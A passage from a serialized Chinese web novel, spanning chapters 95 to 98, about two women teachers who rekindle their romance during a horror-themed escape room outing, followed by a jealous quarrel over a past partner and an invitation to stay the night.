“李主任,李主任。”简越斜眼看了赵矜矜一眼。 见识到了。 迅速处理,开溜吧。 赵矜矜立马出位,客客气气道:“李同学的医药费我们都赔,这边后续多做做检查,把他的全身上下都检查一遍。” 李新百却忽然说:“我不想检查。”冒着被打的风险,他仍旧说:“公平起见,我能申请踢赵筱筱同学两脚吗?” 在场所有人都震惊了,他这不是讨打吗? 李大光勃然大怒,抬起就是哐哐两脚,这两脚要比赵筱筱重多了,李新百当场坐在地上。 “李主任,李主任。”简越似拦非拦,讪讪道:“你这么一踢,他之后有问题,我们不好定性到底谁踢的。”立马趁火浇油:“下手有点重了,现在怎么办?” 李大光欲言又止,反应过来好像是处理问题来着。 他一打起人来就没脑子,天生的,与生俱来的愚蠢基因,神仙来了都拦不住。 简越佯装局促:“这……” 这也太好了! 李大光脸色泛白,死要面子:“他骨头硬,没事,你们别担心。” 简越相当上道:“理解理解,最近要期末考试了,学生压力是有点大,相互之间产生口角呢,家长就不要往心里去了。”话末,又看赵矜矜,“这边学生家长说承担所有检查费用,你看这件事就这样了结了,如何?” 李大光后知后觉自己冲动,这事儿根本没有再掰扯的必要,否则显得自己很丢人。 只得妥协:“行。” 李新百还想说点什么,活生生被逼了回去。 “你过来。”李大光指唤李新百必须听令,好像一种莫名其妙的尊严上线,他反过来要李新百给赵筱筱道歉。 道歉不是真的道歉,是李大光为了彰显自己特别有操控权。 李新百被推出来,讷讷地看着赵筱筱,他不说话。 李大光又推了他一把。 “对不起。”李新百毫无诚意地道歉。 “没事。”赵筱筱直接吓懵,“就这样吧,没什么事我先回班上了。” 第95章 第九十五章 老婆快快快 第九十五章 “天呐吓死我了!!”从医院出来的时候, 赵筱筱吓得直哆嗦。 赵矜矜仰天长叹:“怎么觉得家长也有点毛病,两个人都很变态?” 在此之前,简越并没有和李大光接触过,只是略有耳闻, 听说高二年级主任非常严厉, 到了变态的地步。 啊, 原来变态是真的变态啊! 简越看了林筝墨一眼,两人都心有余悸, 没想到李大光背地里这么暴躁, 按照对方的身份,确实感到意外。 “我能不回学校了吗?”赵筱筱暗戳戳地试探:“实在不想上晚自习了” 简越知道她在偷懒,但也没办法, “你又不想上课?” 赵筱筱凑过来谄媚地笑:“我想和你们一起,去哪里都行,求求大家了, 别让我回去了,我根本学不进去!” 简越没理她, 侧目去看林筝墨, 征求她的意见:“你怎么安排, 是不是要回学校了?” “课上午已经上完了,今晚自习也不是我守。” 一旁, 赵矜矜脑袋瓜子狂转, 灵光一现开始组局:“诶姐, 反正你们都下班了,我看筱筱也吓得够呛,带她放松一下也好。城中心新开了一家密室,评分很好, 不知道你们有没有兴趣?” 密室逃脱,简越一把年纪实在提不起兴趣,上一次玩还是和那个谁。 “我要去我要去!!”赵筱筱首当其冲:“求求你们了求求你们了求求你们了!” “那你们俩去吧。”简越面不改色的推脱:“我给你们报账。” “不行!” “不行!” 两个姓赵的同声抵抗,赵筱筱二话不说去拉林筝墨,什么甜言蜜语全往林筝墨耳朵里放,三五两句说得林筝墨不好拒绝,只能无奈看着简越。 简越实在难办,整活儿赵筱筱最在行,还有这个赵矜矜,俩姐妹一唱一和,不知道打什么鬼主意。 “那去吧。”林筝墨说:“我还没玩过。” 赵矜矜煽动起来:“那正好啊,林老师都没玩过,当然是要试一试了。” 赶鸭子上架,简越不得不应下,“去吧去吧。” 暗自感叹:真是有代沟了,她还在担心李新百的事呢,怎么她们已经在想玩的事了。 四舍五入也算一种好心态了吧。 “想什么呢?”林筝墨偷偷问她。 简越摇头,“没事,先去吧。” * 南城是座大城,来这里读书的大学生多,类似的配套设施会很完善,总体来说,它不但宜居,而且很适合娱乐,是年轻人的不二之选。 四人在街边随便吃了家店,待到夜幕快要降临,赵矜矜带着大家来到目的地。 这是一家新开的密室游戏厅,主打逼真,老板扬言,不好玩不给钱。 今日主题是:疯人院。 这种常规主题基本一看名字就知道是怎么回事了,要素:医院、病人、走廊,哦,反正就是那些乱七八糟的东西 简越是个无神论者,向来对这些东西是不感冒的,工作人员验券的时候,林筝墨忽然贴过来,低声问: “你怕吗?” “我不怕诶。”简越不假思索,抬眼发现林筝墨有些紧张,“你怕吗?” 林筝墨摇头,“没玩过,不知道恐怖到什么程度。” 赵筱筱在身后笑嘻嘻:“没事林老师,你要是怕就拉着我姐,她胆子可大了,鬼来了都得绕道走。” 简越递去讥诮的目光,“赵筱筱你恐怕要先关心关心你自己” 赵筱筱挺直腰板:“咱们女人天不怕地不怕的!” 矜矜验完券,工作人员带着四人入场,与路人随机组成六人小队,带大家进入通道,正式进场。 入口是一闪门,工作人员推开,甫一开门,视线忽然变黑,觉得进入了另一个空间,四面黑压压的空气压过来,阴冷得喘不过气。 林筝墨忽然背脊发凉,对于这样的气场不是很适应。 工作人员简单介绍,把主场留给大家,迅速消失在黑暗中。 滋啦啦。 听到头顶广播的声音。 “欢迎来到疯人院主场,这是一个关于李医生的故事……” 一些背景介绍。 “那日凌晨,李医生正在做最后一场手术,捏着锋利的手术刀,快剖开病人胸膛时,忽遇怪事,手术室里的光源闪烁,下一秒灯全熄灭了,尖锐的器械掉落地面,副手的尖叫声,门哐当一声打开,有人夺门而出,李医生开门追出去,忽然发现医院走廊……” 服了。 她们现在就站在走廊。 那种泛着幽暗的青光的走廊,廊道尽头还是伸手不见五指的黑,瞬间代入场景,逼真到不适。 林筝墨倒吸一口气,往旁边一靠,靠在简越肩上。 简越感受到她手心的冷汗,察觉到她的局促,伸手安抚她,林筝墨食指勾过去,要简越牵她,简越照做,两人变成了十指紧扣。 赵矜矜:“走呗。” 赵筱筱牙齿打架:“怎么有点儿黑啊,姐,你牵我一下” 矜矜在前,筱筱在后,亦步亦趋,而简越拉着林筝墨走在中间,最后面是两个路人。 毕竟是资深玩家,赵矜矜胆子是要大些,步子走得也快,筱筱跟在后面大气不敢出,哪还有先前的威风。 矜矜说:“开头一般不太吓人的,先到走廊尽头,那边肯定有机关。” 黑暗中,简越神色淡素,于她而言,不过就是人工设计出来的室内场景罢了,灯光暗了些,氛围诡异了一点,但这些都是假的,一点都吓不到她。 她甚至仔细地左右观察,上上下下,左左右右,不过如此 林筝墨心脏狂跳,但身旁有一个简越,暂且是不怕的。 呜呜。 她又靠近了些。 “你很怕吗?” “有一点。” “都是假的。” “我知道。”林筝墨双肢攀上简越的手臂,紧紧抱着她的胳膊,有种小孩子害怕时抱妈妈的即视感。 她抱得很紧很紧,把简越视为安全感的着陆点。 那副紧张局促的模样,令简越觉得好笑,可这种触景而生的怯懦,确实也让人觉得很可爱,在简越的世界里,林筝墨现在就是一只担惊受怕的小兔子。 想捏捏。 想护她周全。 “你别怕。”简越声线变得柔和:“我会一直在的。” 四人继续往前走,走廊其实并不长,居多也就二十来米,可步行龟速,大概是心理作祟,走几步总是怵得慌。 当然了,矜矜走得慢,全凭赵筱筱死命拉着。 “姐你慢点你慢点你慢点,我求你了我跪下来求你了,我怕我怕怕怕怕。” 赵矜矜的衣摆几乎快被扯出二百里地远,疯狂对着空气翻白眼。 “你就这点出息,这还没开始呢。” “啊呀。”赵筱筱忽然停下,低头看了眼右边,所有人都跟着她看过去,但虚惊一场,什么都没看见。 注意力转移,居然没人注意到另一边贴在墙缝里的NPC,而一行人居然就这么走过去了 走过去了 走过去了 正在做鬼脸的NPC:“?” 于是,原本应该正面交锋的NPC,此时此刻站在六人身后。她穿着一套沾了血的白大褂,披头散发,手上拿着一把塑料做的小刀,愣在原地。 不是这年头已经这么没有存在感了吗? 我可是第一个关卡的鬼!! 这NPC是出来兼职的大学生,刚上岗不久,业务能力不太熟练,她居然也不上去吓人,而是偷偷贴着墙,偷偷跟在她们后面,六人行变成了七人行。 此时矜矜已经走到尽头,开始解密,那是一台可触碰显示屏,上面有[查看监控]四个字,触碰进入,页面显示:请观看李医生手术时的录像,通过观察投影轮廓,破解密码 六人齐看。 一些乱七八糟的影像。 赵筱筱双手蒙着眼,只留一个缝隙,哎呀哎呀嘀咕着。 赵矜矜说:“第一关一般是没有什么难度的,纯破译,我们看完这个录像就好了。” 简越揉揉眉心,甚至有点无聊了,“好,先看吧。” 身后两个路人挤上前来,加入密码破译,随着观影过程,低声讨论着。 从来没玩过密室的林筝墨,相当信任矜矜,在以为第一关真的只是看看录像时,全神贯注看起来,加入讨论。 矜:“33245?” 路人甲:“23254吧?” 路人乙:“23211吧?” 简:“” 简:“很明显是32345.” 林:“我也觉得是32345.” 筱一脸茫然,“你们哪里得来的数字,难道不是123456吗?” 众人无语凝噎,123456是人嘴能说出来的答案吗。 林筝墨站在靠墙的位置,身后有一个凸出来的墙角,NPC则躲在凹陷里面,她其实盯了有一会儿了。 见她们讨论到尾声,NPC忽然不动声色凑过来,伸手拍拍林筝墨肩膀,林筝墨以为是简越,下意识偏过头来—— 扭脖子那一刻就后悔了。 简越在右边,怎么会拍左边的肩膀,左边明明是墙啊。 四目相视那瞬间,披头散发的护士手里握着一把带血的小刀,白色衣襟沾满了鲜艳的血液,最大的精髓是NPC的表情。 那种蛰伏已久,势必要拉坨大的兴奋感,居然真的呈现出效果炸裂的变态和惊悚。 林筝墨看到她那瞬间,头皮炸裂,一口气差点没提起来。 下一秒—— 尖叫: “啊!有鬼!”林筝墨失态尖叫,一把扑进简越怀里,下意识脱口而出:“宝宝我怕!!!” 赵筱筱循声望去,她是看到NPC的第二个人,两眼一黑,差点没站稳。 “啊啊啊啊啊啊!!”赵筱筱直直往赵矜矜怀里钻。 她不叫还好,一叫直接把氛围拉满,也把NPC的兴奋感拉满,呈现出更变态的神情和动作,甚至要向她们扑过来。 说时迟那时快,墙壁上居然还有机关,里面扔出来一个脑袋。 场面一度混乱,大家无头苍蝇似的到处散开,在黑暗里四处乱撞。 林筝墨缩在简越怀里,失去理智:“她过来了!啊啊啊!” “不怕不怕。”简越甚至在笑,笑是因为林筝墨的失态,可她喜欢这种失态。 “人头!”林筝墨指着地面尖叫,一脚踢开。 简越去抱她,搂着林筝墨的腰,以身后环绕的姿态,将林筝墨完全护在自己怀抱里,推着林筝墨往前走。 循着那道力,林筝墨才觉得安全些,被简越带着向前走,一直到显示屏面前,简越双双手撑在显示器两侧,怀里是林筝墨。 身后是简越,感受到简越的前胸的柔软,那触感在背部荡漾开来,刹那间,林筝墨的惶恐退却,转为呼吸的灼热。 这是在干什么,这个姿势? 好像 好像在搞什么呢。 发丝摩擦着林筝墨的耳朵,痒到心间,四面又黑,到处都是筱筱的尖叫,可是可是 “嗯嗯?”林筝墨有点神志不清了。 “我们输密码。”简越贴在耳边低语,气息温热。 “哦,噢,我吗?”林筝墨抬起手,“多少?我忘了。” 真忘了,现在满脑子都是莫名其妙的涩涩。 “你也笨。”简越在她耳边笑,“32345.” 林筝墨迷迷糊糊戳着数字,戳到第二位的时候,手指忽然顿了一下。 为什么要输入正确密码。 门若是打开了还能这么亲密吗。 不行,要抱抱。 林筝墨选择把“笨”贯彻到底,故意把数字“3”点成“2”,而后迅速输入后面两位,不给简越纠错的机会。 屏幕显示红色感叹号:输入错误! 林筝墨一声惊呼,转身就往简越怀里钻,“我不是故意的!” 说话时双手攀上简越的脖颈,搂上去,埋在简越脖间,香味瞬间荡漾在鼻腔,满足地用鼻尖蹭了蹭。 她贴着细腻的皮肤,忽然意识到“密室”的精髓不在于解密。 至少对林筝墨来说,不在于解密,她尝到甜头,在简越喘着气说:“你输入吧,我太害怕了,数字都看不清。” “好吧。”简越戳着屏幕,发现还有第二次机会。 林筝墨看着鬼影在走廊追来追去,逃的逃,叫的叫,远看NPC动作非常滑稽,居然也不那么害怕了。 别的心思无声蔓延出来。 搏一搏,单车变摩托。 “宝宝我害怕” 这是简越正准备输入密码,手指悬在半空,其实刚刚就怀疑自己听错了,怎么这人还说一遍。 “嗯?”一个微微上扬的困惑音。 她们这样叫过对方,是以前谈恋爱的时候。 “宝宝你快点。”林筝墨催促她,故意前缀:“快点老婆。” 变着法子叫是吧? 简越耳根发热,没被鬼吓到,倒是被林鸵鸟搞得面红耳赤,她就是故意的,明目张胆的故意。 “多多少来着?”这回轮到简越犯迷糊了,“密码是3多少?” 林筝墨毫不掩饰地笑:“32345.”忽然意识到简越为什么忘记密码,内心一股愉悦升起,故意使坏:“快快,老婆快快快。” 简越:“你干嘛呢。” 林筝墨:“老——”她故意拉长音调,在意想不到的瞬间,轻轻啄了一下简越的唇。 那吻是极其迅速的,却也明目张胆到可怕。 无人察觉,却激起千层浪。 黑暗里,林筝墨眼底闪烁着光芒,她看简越时,目光里噙着青涩,一点点故意,一点点热烈的情欲,还有些许试探,那是一种又纯粹又欲望的眼神,让简越瞬间投降。 简越想说点什么,却一句话说不出来,实话讲,她享受林筝墨吻她,以及那些亲昵的称呼。 “快点。”林筝墨戳戳她。 “哦”简越快速戳着屏幕,“嗯”戳了前三位,害羞到脑袋宕机:“对了密码是什么,再说一遍。”—— 作者有话说:赵筱筱:谁说我123456笨蛋了? 简越:不好意思,你姐我糊涂了 第96章 第九十六章 陈年老醋醋醋醋醋醋醋醋醋…… 第九十六章 整个密室逃脱花了一个半小时, 但简越全程不在线。 满脑子都是:宝宝宝宝宝宝宝宝宝宝。 满脑子都是:脑婆脑婆脑婆脑婆脑婆。 忽然发现林筝墨很会念经,堪比师父对悟空,精准打击,念得简越晕头转向, 摸不清东南西北。 这种感觉很诡异, 明明知道对方是故意, 可就是招架不住,若是真的不想听可以制止, 可偏偏又想听。 简越自己也觉得自己挺不争气的。 好不容易从密室出来, 脸红得厉害,皮肤像是蒸熟的蟹壳,橘红橘红的, 林筝墨在一旁看她,似乎捕捉到什么,眼底笑意荡漾开来。 好喜欢。 好可爱。 这头, 赵筱筱狂喝半瓶矿泉水,把胸膛拍得咚咚响, 发出一声叹气, “啊, 爽。” 赵矜矜让她慢点儿喝,目光暗戳戳飘在简越那边, 逗趣:“姐你怎么了?脸怎么红成这样?” 简越挪开眼, 视线飘到无人在意的地方, “里面太闷了吧。” 呵。 赵矜矜可是目睹全过程的人,筱筱当时吓坏了可能没听到,但那些宝贝老婆,矜矜全都听到了! 林筝墨是怎么步步为营, 简越又是怎样心甘情愿上套,在密室遇到恐怖的桥段,两个人又是怎样黏腻在一起的。 这一切的一切,一览无遗,旁观一通觉得真是够了! 但矜矜不戳破,只是笑盈盈问简越:“咱接下来干嘛呢?” “时间不早了,赵筱筱明天还要上课,你先带她回去吧。” 简越是真的这么觉得,倒真没别的意思,但矜矜听在耳朵里又是另一层含义了。 小情侣需要二人世界,不宜久留。 “好,那我们先走了。”矜矜揽过筱筱肩膀,“给林老师说再见。” 赵筱筱意犹未尽,“什么?这才哪到哪?就要回了吗?” 矜矜在筱筱肩膀上捏了一下,力道不轻。 “哦噢!”赵筱筱回过神来,脸红扑扑的,“算了下次再玩吧,是得回家了。” 俩姐妹打了个车离开,简越回过头去看林筝墨。 “那我也送你吧?” “好啊。” 南城的夜晚很漂亮,尤其是中心街,霓虹璀璨,灯火通明,虽夜幕已降临,但街边行人拥挤,闹哄一片,在这样喧闹的氛围里,倒是不觉得冷了。 简单来说,自林筝墨离开之后,简越连逛街的次数都很少,不是没时间,而是没心情。 “那要打车吗?”林筝墨顿了一下,又说:“算了,再走走吧?” 简越欣然颔首:“好。” 并肩行走在宽绰的广场,橘光灯照耀在两旁,在这冷风肆意的冬日,忽然不觉得寒冷。 林筝墨靠近简越,主动去挽她的手,暖光落在林筝墨琥珀色的瞳仁里,闪晶晶的很漂亮。 “下周我要去西城。”林筝墨闲适地散着步。 “去干嘛?”简越心脏倏然缩紧,虽然知道林筝墨应该是去办事,可下意识惶恐起来,有什么东西要飞走的感觉又袭上心头。 “还有些东西留在那边,以及和房东交接。” “喔。”简越低头,视线落在她们的脚上,步伐悠悠然,连步频都天生一对,“去多久?” “两天。” “那还好了。” “你去不去?”林筝墨邀请她,“如果你去的话,可以周末,顺带去西城旅游了。” 说得简越蠢蠢欲动 她还没去过西城,以美食著名,况且况且,和林筝墨还没正式出去旅游过呢。 “我看看日程表。”简越装模作样拿出手机,翻翻日历,斟酌斟酌,“嗯应该可以吧。” 林筝墨晃晃她的胳膊,言语之间是愉悦,“那你陪我哦。” “西城有什么好玩的?”简越算是默认。 林筝墨眼底漾着愉悦的光,“我知道,我带你,我的房子还没有退租,这样我们连酒店都不用订了。” 住她租的房子 林筝墨在西城租的房子是什么样呢? 她的床有多大呢? 枕头是什么味道呢? 一瞬间,许多画面在简越脑海里闪烁,她发现自己对于空缺的那些时光,依旧抱有好奇心。 她想真正融入林筝墨的生命里,一分钟都不要浪费。 “坐高铁还是开车?” “高铁,这样我们待在西城的时间更多些。”林筝墨喜欢提前计划,“我们周五下班就出发,晚上就到了,到时候带你去吃好吃的,逛美景,白天我们出去玩的时候,就请人来替我打包东西,到时候寄到南城就好,待到我们离开的时候,正好和房东退租,时间正好衔接上。” “这么多细节?”简越忍不住拆穿她:“莫不是早就提前想过。” “不然呢?”林筝墨忽然回忆起一些心理活动。 关于简越的。 西城的秋天很干燥,患有季节性鼻炎的林筝墨,总是在夜间流鼻血,有时候轻轻打个喷嚏,血就喷到手心里了,那段时间,她郁闷至极,游神恍惚,有时候连吃饭的力气都没有,哪里还有精力去让医生开药。 是房东阿姨看见了,送来几支红霉素软膏和棉签,让她没事擦擦鼻子,炎症才慢慢好起来。 那时候,林筝墨最大的愿望是:在这么一间窄小的出租屋,如果简越能出现就好了。如果有一天要搬家,是简越把她接回家就好了。 “我很希望我们能去西城玩一趟。”千言万语汇聚成简单的一句,她说完这句,又补了句:“非常想和你一起。” “为什么?” “那边有很多好吃的,但我都没去吃过。” 简越更加困惑了:“为什么没吃过?” “因为没心情。”林筝墨挽着简越的手臂,掌心在大衣的面料上轻轻摩挲,抬眼看熟悉的街道,繁华的景象,心头感慨。 “和我就有心情?”简越承认自己有明知故问的成分。 “当然了,和你都没心情,那和谁才有心情?”她耸耸鼻尖,后知后觉被这女人摆一道,“你明明都知道!还要问。” 简越笑,“你不说我怎么知道?” 林筝墨嗔她一眼,不和她周旋,话题绕来绕去,又绕回密室逃脱那里。 先前玩的时候,林筝墨发现简越挺得心应手的,绝对不是第一次玩,她原本以为简越是兴致不高,结果是玩腻了罢了。 “所以你不是第一次玩密室逃脱吗?” 简越点头,“嗯,不是,以前常玩。” “常玩?”林筝墨纯属好奇,“什么时候啊,大学吗。” “对。”简越目光飘到别处,心想,别继续问下去别继续问下去。 “和谁啊?”当然也算是随口一提,林筝墨没细想。 却明显发现简越表情不太自然。 她没等到简越回复。 只见简越指着对面一家奶茶店,破天荒问:“喝不喝奶茶?” “什么呀?”林筝墨还未从对方跳跃的话题中反应过来,不是在说密室逃脱吗,怎么忽然问喝不喝奶茶。 更何况她俩都没有晚上喝奶茶的习惯。 林筝墨心忽然沉下去,以她对简越的了解,逃避就容易四处打量,现在不就是这样么,东看看,西看看。 “和大学老师吗?”林筝墨一针见血的:“你们一起玩的密室逃脱吗?” 最好不是。 虽然还没有资格生气。 但也会有一点点不开心嘛 沉默。 嗷~ 怎么回答! “是。”简越无可奈何,自撞槍口,“是的吧。” “经常玩吗?”林筝墨受够了自己的好奇心,明明不想听,还要细问,“她很喜欢玩密室吗?” “她她喜欢解密的部分。” “哦那你会像今天这样从后面抱着她吗?” 问出这个问题的时候,笑容已经飞走了,飞到了街边年轻情侣的脸上,快乐是他们的,而林筝墨表情瞬间变得寂黯了。 嘴角不自觉微微向下耷拉,明明情绪还在绷着,但可怜兮兮的眼神还是出卖了一切。 不应该的。 不可以的。 但忍不住。 “想喝奶茶。”简越眨眨眼,目光里全是闪躲,“你要不要喝?” “不喝。” 天呐。 谁要喝那个臭奶茶,现在是说奶茶的时候吗? 转移话题就是默认,默认是一把小刀,狠狠扎在林筝墨的心上,稀里哗啦碎了一地。 好的,明白了,所以以前和初恋谈恋爱的时候,来玩密室逃脱也是这么抱的。 她们也是这么抱的! 一瞬间,酸劲滋溜溜地向上涌,街道洋溢的不再是喜悦,以至于觉得空气都是食物腐烂过的味道。那是一种难以抑制的心情,以至于林筝墨瞬间觉得一切索然无味,她不想逛街了,不想逛了。 虽然吃陈年老醋毫无意义,可她就是好难过。 “你要喝的话就点一杯吧。”林筝墨好看的唇抿成一条线,失去交流的欲望。 “那我点杯甜心芭乐。”简越拿出手机,开始在屏幕上疯狂戳戳,完了完了完了完了,就该撒谎的可是不会撒谎,她生气了,怎么办,怎么哄。 林筝墨站在原地,不语,冷风刮擦着她的皮肤,冷飕飕的,表情也冷飕飕的。 “难怪你今天很厉害。”林筝墨嘴里放刀。 简越:“嗯那几个关卡类似的我有玩过。” 负分答案! 砰! 这不是在人家心口放地雷是什么! “我想回家了。”林筝墨拿出手机就要打车。 “诶不是一起走回家吗?”简越心虚:“我送你吧。” “不用,我打车。”林筝墨输入地址,迅速叫车,市中心司机多,有人秒接,“我先走了。” 话末,不给简越回答的机会,阔步往前走,简越早知氛围不对劲,连忙上去追。 “不着急,等一下。”简越伸手去拉她。 林筝墨将手抽离出来,“我急。” “你是不是生气了?” 不问还好,一问戳在林筝墨心窝上。今天最满意最开心的,就是简越抱了她,在那样惊悚的环境里,被悉心关注真的很温暖。 好几个瞬间,林筝墨都想把“这一刻”定义为她们之间难忘的片刻。 可这早就属于过别人了。 心口剜了一个洞。 她觉得并不是自己矫揉造作,她就是忍不住,忍不住心痛,感性大于理智,况且她已经在极力克制自己了,她不想给简越摆脸色。 或许她应该忽略掉这些,选择当一个懂事的前任,少问一些,少说一些,可她忍不住,真的忍不住。 “我只是想回家。”林筝墨在委屈边缘强撑着,“你先喝,下次我再陪你来喝第二杯。” 简越伸手去拉她,手指是冰凉的,将林筝墨拉到自己面前,终于看到林筝墨的脸,却发现林筝墨红着眼,马上就要哭出来。 “你怎么了!!”简越虽然早有心理准备但没想到这个地步,一把搂住林筝墨,“天呐,你好傻。” 林筝墨一秒决堤,眼泪夺眶而出:“我再也不玩密室逃脱了!!”—— 作者有话说:每个女同都有属于自己的波士顿落叶[小丑] 第97章 第九十七章 留宿,共眠:) 第九十七章 “我再也不玩密室逃脱了!” 眼泪是一根纤密的丝, 编织着林筝墨破碎的脸庞,泪光是日落下的湖泊,那么黯败,那么红, 那么悲伤和痛苦。 简越被这一幕震慑到, 街边的喧闹不复存在了, 她和林筝墨进入一个只剩她们的世界。 她说:“对不起,我不应该——” 林筝墨捂着眼睛, 摇头, 苍白无力道:“我也没有责备你的意思,可是我听了真的很难过。” 无法参与你过去的人生,拥有那些幸福和爱, 我虽然很遗憾,但理性告诉我,不要去苛责你。诚然, 林筝墨当然是接受的,三十岁的简越不可能没有前任, 没有前任的一直是林筝墨自己。 前任不前任不重要, 每个人在人生不同阶段有爱人的权利。 她接受简越所有的经历和过去, 她难过的不是这个。 她难过的是—— 难过的是,她们好不容易相爱又分开, 如今鼓足勇气要重新走在一起, 这一路磕磕绊绊也没想过放弃。她不会放弃简越, 连一秒钟的念头都没产生过。 她爱她。 当然也沉溺密室逃脱的那些瞬间。 是在那些瞬间林筝墨觉得她们的关系又近了,她觉得简越慢慢消气,又变成了曾经的模样,很快很快, 她们就要恢复从前那样的关系。 她的幸福唾手可得。 可这份温暖是共享的,曾经有人获得了同样的赠礼。在不同的时间跨度,人就是会爱不同的人,简越绝对没有犯错,可林筝墨真的好难过。 是她太在意简越了,在意到要去在意那些曾经。 “对不起”简越伸手去拥抱林筝墨,将她揽入怀中,一只手搂着她的腰,另一只手轻轻拍她的肩膀。 发现林筝墨真的很瘦,尤其是在哭泣的时候,会觉得她的身躯是风雨中无依无靠的树苗。 “你不要道歉。”林筝墨擦擦眼泪,却是委屈极了,眼泪止也止不住。 “对不起。”除了这句,简越不知道说什么好,见林筝墨哭,她心疼得厉害,“我们先打车回家吧。” “你不喝奶茶吗”哭的时候居然还想这个,可怜又可爱。 “其实是不想喝的。”简越用食指替她拭泪,“不哭了好不好?” 闹市区,林筝墨不想丢人,慌忙擦了眼泪。 “嗯。” * 都怪密室逃脱。 现在她们要打车回家了。 网约车是林筝墨叫的,所以地址也是填的公寓,上车之后林筝墨脑袋靠在车窗上,闭目养神,似乎没有太大交流的欲望。 简越坐在一旁,没去打搅她,思索着,进行着一些深刻反省。 完全懂林筝墨的情绪,换位思考一下,同样的事发生在林筝墨身上,自己也会受不了。说来也蠢,这样的事情搪塞过去不行么?非得一是一,二是二么?简越觉得自己简直是个笨蛋! 说起密室逃脱,大学的时,是和老师玩过,也抱过,心情却是完全不同的。那时候拥抱纯粹只是抱团取暖,在那样惊悚的情景下,经验不丰富,什么都是新奇的,害怕居多,还真的生不出一点暧昧来的。 可今天和林筝墨却不同了,简越承认,她在和林筝墨调情,她是情不自禁的。 那种感觉和大学老师绝对不同,在简越心里,如果爱大学老师的程度是“1”,那林筝墨就是“100”,可是,说出来林筝墨会相信吗?会不会很假? 想说点什么,可林筝墨一直闭着眼睛,简越不敢打搅。 哎。 哎。 慢吞吞行动。 小心翼翼朝林筝墨的方向挪动,手臂贴在手臂,轻轻碰了碰。 “睡了吗?” “……” “0.0?” 没应,看样子是睡了,还是不想理呢? 简越不言,侧目去看窗外,橘灯灿烂,光把夜晚衬托得璀璨,小雪花飘在车窗的缝隙里,隔着玻璃还是冷。 咔嗒咔嗒,转向灯的声音,司机拐了个弯儿,轻咳一声,嘀哩铛愣哼着一首中年男人最爱的涛声依旧。 很难听。 “张哥今天跑多少啦?”一边开车还要发条语音,“没单啊,这锤子天气谁打车,送完这单我也回了……” 噼里啪啦一大堆。 简越听得头疼,索性也闭上了眼睛。 十分钟后,司机唱着一首“海阔天空”欢送俩人下车,顺口还要好评,脸挺大。 林筝墨开门下车,一脚踩进雪地里,脚底发出酥脆的声音,简越跟着她下来,只是凝目看她,没有要离开的意思。 俩人对视。 先前车上其实没睡,林筝墨闭目养神,平复一下心情,理智起来,心情也逐渐回温。 “我到了。”——这是一句废话,带着询问意味的废话。 “好,我送你上去。” 林筝墨转身往小区里走,简越跟在她后面,又加速一些,直到两人并肩。 只言片语不代表不想解释,而另一位,缄默不言不代表不想听。 一直在沉默中推拉。 林筝墨飘了个眼神过去,该暗示的已经暗示到,她觉得简越应该懂的。 “那你现在好点没有。”简越果然开口。 “挺好的。”林筝墨不咸不淡回应着,走到单元大厅里,摁了电梯上行。 两人一同盯着红色按钮。 简越双手抱胸,目光悬在半空,思索着,要不要解释,怎么解释,有没有必要。 “想知道你刚刚哭是因为什么。” 林筝墨费解:“我以为这是不需要解释的事情。” 简越颔首,“那就是我理解的那个意思,其实我和她——” 林筝墨忽然侧目去看简越,目不转睛,就等她后话。 “我和她没有你想象中那么亲昵,很早以前好像也和你说过,她一直和我柏拉图。” “喔,我记得。”林筝墨收回视线,低头去看地板,盯着自己和简越的脚尖发呆,一声叹息,又在犟什么呢,何必为难对方,谁也没过错,“嗯,没事,我明白。” “你不要生气了。”简越主动去拉林筝墨的手。 食指勾过去的时候,林筝墨指尖分明颤了一下,两人的冰凉触碰在一起,居然生出一点温暖出来。 轿厢门打开了,林筝墨进去,轻轻拽了一下,像钓鱼似的把简越勾进去。 1、2、3 电梯上行的数字。 在“4”的时候,简越忽然开口:“你还没回答我。” “我没生气。”林筝墨绷着唇,目光却不似先前那般冰冷了,“现在牵着你没那么生气了。” “那就是还有一点点?”简越眼神探过去,焦灼着:“承认,是和她抱过,但是也不像我们今天那样。” “哪样?”林筝墨故意。 “那样。”简越无奈地看着她:“你应该没忘。” 亲脸,言语调情,勾手指,索取怀抱,把黑暗当床,把惊悚当指套,整个密室逃脱是一场没有性的做l爱,酣畅淋漓,溽热熏蒸,回味无穷。 所以你林筝墨还问哪样。 “喔。”林筝墨只发出一个单音节字,没下文了。 “所以喔是什么意思呢,还是很生气吗?” “我真没气。”林筝墨抿抿唇,深吸一口气,想当一个宽容的人,可话到嘴边依旧是那句:“但以后再也不玩密室逃脱了” “啊——”简越居然嗅出一点可爱的味道,“那怎么办?有没有什么赎罪的机会?” “没有。” 没有没有没有。 一辈子不会再踏入密室。 数字“8”,电梯门打开了。 说没有赎罪机会的林筝墨,却依旧没有松手,拉着简越往前走,简越不语,只是跟着她。待到家门口,林筝墨需要指纹解锁,于是松开一只手,换成另一只手,依旧是要牵着简越的,所以换了一只手来牵。 简越有些莫名,不知这女人几个意思,明明生气,干嘛还一直牵着。见她在气头上,又不好开口。 直到滴滴两声,家门打开。 林筝墨进屋,依旧不松手。 “那我回去了。”简越说。 话音刚落,忽然感受到一道力,林筝墨一拽,简越被拉到门内,还没来得及反应,咔哒一声门忽然合上了。 玄关一片漆黑,伸手不见五指。 “诶?” “喝不喝咖啡?” “谁晚上喝咖啡!” 林筝墨圈着简越的腰,轻轻将她抵靠在门上,“没事,我有可乐苏打水橙子汁,哦还有白天没喝完的白葡萄酒。” “你想让我留下过夜?” “嗯。” 热气扑上侧颊,暖烘烘的,吐气如兰携来芬芳,令人一阵迷眩。黑暗中,简越喉咙滑动了一下,觉得燥得厉害,那种在密室里的感觉又来了,甚至更加强烈。 “留下会让你开心点吗?” “会。”林筝墨贴得更近些,有意让气息游离在简越的呼吸之间,“会很开心。” “那泡泡怎么办。” “自动喂食机里没有粮了吗,它不会自己吃饭吗。”林筝墨在简越耳边呼吸,“还是说你不想,那你回家吧。” “有粮。”简越难以自禁,林筝墨身体好香,“它可以吃好多顿。” 林筝墨终于发出笑声,“哦,那你留下吗?但如果你留下,我心里会很开心。” “嗯。” “嗯是什么意思?” 简越实在局促,干嘛要这样一步一步引导,非要一句一句说得这么明白。 “那你开灯,我换拖鞋。”—— 作者有话说:[彩虹屁] 第98章 第九十八章 慢、慢、揉 第九十八章 南城的冬天给每个人都准备了礼物, 雪花是夜晚的赠礼,在记忆中雕刻不同的感受,夜幕之下,天空凋落的是时间, 是浪漫, 是独属于夜光的低语。 雪还在下。 小时候, 林筝墨常常在想,雪是从哪里来的? 她曾幻想天空中住着一个人, 